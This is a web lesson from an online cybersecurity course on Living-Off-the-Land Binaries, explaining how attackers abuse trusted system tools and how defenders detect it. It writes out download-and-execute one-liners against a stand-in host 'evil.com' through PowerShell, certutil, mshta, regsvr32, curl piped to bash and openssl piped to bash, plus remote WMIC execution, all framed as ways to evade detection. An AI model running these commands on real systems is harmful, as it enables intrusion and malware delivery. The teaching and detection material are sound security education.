Living-Off-the-Land Binaries (LOLBins)
Use trusted Windows binaries (certutil, mshta, regsvr32) to evade detection.
Living-Off-the-Land Binaries (LOLBins) is a free Cyber Security Academy lesson on CoddyKit — lesson 2 of 4. You can read the complete lesson below for free — then practise it hands-on in the browser with a built-in code editor and a 24/7 AI tutor. It is part of the Cyber Security Academy learning path, one of 4 lessons in the course, and your progress syncs across the web and the CoddyKit app.
What are LOLBins?
Living-Off-the-Land Binaries (LOLBins) are legitimate OS binaries and tools repurposed by attackers to perform malicious actions. Since these are trusted, signed system tools, they often bypass application whitelisting and reduce AV/EDR detection.
Why LOLBins Are Effective
Advantages for attackers:
- Always present on target systems — no need to drop new files
- Signed by Microsoft/Apple — bypass signature-based detection
- Trusted by application whitelisting solutions
- Generate legitimate-looking process trees
PowerShell as a LOLBin
PowerShell is the most abused LOLBin. Attackers use:
# Download and execute from memory:
powershell -enc BASE64_ENCODED_COMMAND
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"certutil
certutil.exe is a Windows certificate tool that can download files:
# Download file to disk:
certutil -urlcache -split -f http://evil.com/payload.exe C:\temp\payload.exe
# Base64 decode:
certutil -decode encoded.b64 decoded.exemshta and wscript
Script execution via trusted hosts:
# mshta: execute HTA application from URL
mshta http://evil.com/payload.hta
# wscript: execute VBScript/JScript
wscript //E:VBScript evil.vbs
# cscript: console script host
cscript //nologo payload.jsregsvr32 Squiblydoo
regsvr32.exe can load and execute DLLs from remote URLs via /s /n /u /i flags — bypassing AppLocker and running unsigned code as a trusted process:
regsvr32 /s /n /u /i:http://evil.com/payload.sct scrobj.dllWMIC and WMI Execution
Windows Management Instrumentation executes code remotely and locally:
# Execute command via WMI:
wmic process call create "powershell.exe -enc PAYLOAD"
# Remote execution:
wmic /node:TARGET process call create "cmd.exe /c payload.exe"Rundll32
rundll32.exe loads and executes DLL entry points:
# Execute a DLL export:
rundll32 evil.dll,EntryPoint
# Run JavaScript via rundll32:
rundll32 javascript:"\..\mshtml,RunHTMLApplication " payloadLinux LOLBins
Linux equivalents:
# curl/wget for downloads:
curl http://evil.com/payload | bash
# Python for execution:
python3 -c "import os; os.system('whoami')"
# OpenSSL for file transfer:
openssl s_client -quiet -connect evil.com:443 | bash
# Find LOLBins: gtfobins.github.ioLOLBAS and GTFOBins
Reference databases:
- LOLBAS (lolbas-project.github.io) — Windows binaries, scripts, libraries
- GTFOBins (gtfobins.github.io) — Linux/macOS binaries for exploitation, file read/write, SUID escalation
Detecting LOLBin Abuse
Detection strategies:
- PowerShell script block logging (EventID 4104) — logs decoded commands
- Sysmon EventID 1: process creation with parent process chain
- Alert on unexpected parent-child: Word → PowerShell, Excel → cmd
- Network connections from certutil, mshta, powershell
- UEBA baselines to flag abnormal binary usage
Quick Check: LOLBins
Which Windows binary can download a remote file using the -urlcache flag?
Lesson Recap
LOLBins are legitimate OS tools repurposed for malicious use: PowerShell, certutil, mshta, regsvr32, rundll32, WMIC on Windows; curl, python, openssl on Linux. They bypass signature detection and application whitelisting. Detection requires process creation logging (Sysmon), PowerShell script block logging, and behavioral baselines. LOLBAS and GTFOBins are essential reference databases.
Frequently asked questions
Is the “Living-Off-the-Land Binaries (LOLBins)” lesson free?
Yes — the full text of “Living-Off-the-Land Binaries (LOLBins)” is free to read here on the web, and the Cyber Security Academy course includes 4 lessons in total. To practise it interactively (a built-in code editor and a 24/7 AI tutor) and unlock the rest of the Cyber Security Academy course, upgrade to CoddyKit PRO.
What will I learn in “Living-Off-the-Land Binaries (LOLBins)”?
Use trusted Windows binaries (certutil, mshta, regsvr32) to evade detection. You practise Cyber Security Academy with hands-on code you run directly in the browser, and a 24/7 AI tutor answers your questions as you work through the lesson.
Do I need any experience to start Cyber Security Academy?
No prior experience is required. Cyber Security Academy on CoddyKit is structured for beginners through advanced learners; this is — lesson 2 of 4, so you can start here or from the beginning and move at your own pace.
How long does the “Living-Off-the-Land Binaries (LOLBins)” lesson take?
Most CoddyKit lessons take about 5–10 minutes. Each one is bite-sized and interactive, so you make steady progress and pick up exactly where you left off across the web and the app.
Can I write and run code in this Cyber Security Academy lesson?
Yes. Every Cyber Security Academy lesson includes a built-in code editor, so you write and run real code right in your browser and get instant AI feedback — no local setup required.
All lessons in this course
- C2 Frameworks: Cobalt Strike and Sliver
- Living-Off-the-Land Binaries (LOLBins)
- Lateral Movement Techniques
- Red Team Report Writing